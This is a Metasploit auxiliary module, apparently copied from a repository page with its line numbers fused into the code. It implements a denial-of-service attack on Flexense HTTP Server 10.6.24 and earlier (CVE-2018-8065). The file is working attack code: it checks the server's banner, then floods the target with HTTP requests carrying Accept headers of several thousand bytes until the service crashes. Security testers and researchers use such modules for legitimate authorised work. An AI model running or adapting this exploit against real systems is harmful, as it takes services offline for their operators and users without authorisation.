Path: blob/master/modules/auxiliary/dos/http/flexense_http_server_dos.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Exploit::Remote::Tcp89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Flexense HTTP Server Denial Of Service',14'Description' => %q{15This module triggers a Denial of Service vulnerability in the Flexense HTTP server.16Vulnerability caused by a user mode write access memory violation and can be triggered with17rapidly sending variety of HTTP requests with long HTTP header values.1819Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below versions reportedly vulnerable.20},21'Author' => [ 'Ege Balci <[email protected]>' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2018-8065'],25[ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ],26],27'DisclosureDate' => '2018-03-09',28'Notes' => {29'Stability' => [CRASH_SERVICE_DOWN],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options(37[38Opt::RPORT(80),39OptString.new('PacketCount', [ true, 'The number of packets to be sent (Recommended: Above 1725)', 1725 ]),40OptString.new('PacketSize', [ true, 'The number of bytes in the Accept header (Recommended: 4088-5090', rand(4088..5090) ])41]42)43end4445def check46connect47sock.put("GET / HTTP/1.0\r\n\r\n")48res = sock.get49if res && res.include?('Flexense HTTP Server v10.6.24')50Exploit::CheckCode::Appears51else52Exploit::CheckCode::Safe53end54rescue Rex::ConnectionRefused55print_error('Target refused the connection')56Exploit::CheckCode::Unknown57rescue StandardError58print_error('Target did not respond to HTTP request')59Exploit::CheckCode::Unknown60end6162def run63unless check == Exploit::CheckCode::Appears64fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')65end6667size = datastore['PacketSize'].to_i68print_status("Starting with packets of #{size}-byte strings")6970count = 071loop do72payload = ''73payload << 'GET /' + Rex::Text.rand_text_alpha(1..30) + " HTTP/1.1\r\n"74payload << "Host: 127.0.0.1\r\n"75payload << 'Accept: ' + ('A' * size) + "\r\n"76payload << "\r\n\r\n"77begin78connect79sock.put(payload)80disconnect81count += 182break if count == datastore['PacketCount']83rescue ::Rex::InvalidDestination84print_error('Invalid destination! Continuing...')85rescue ::Rex::ConnectionTimeout86print_error('Connection timeout! Continuing...')87rescue ::Errno::ECONNRESET88print_error('Connection reset! Continuing...')89rescue ::Rex::ConnectionRefused90print_good("DoS successful after #{count} packets with #{size}-byte headers")91return true92end93end94print_error("DoS failed after #{count} packets of #{size}-byte strings")95end96end979899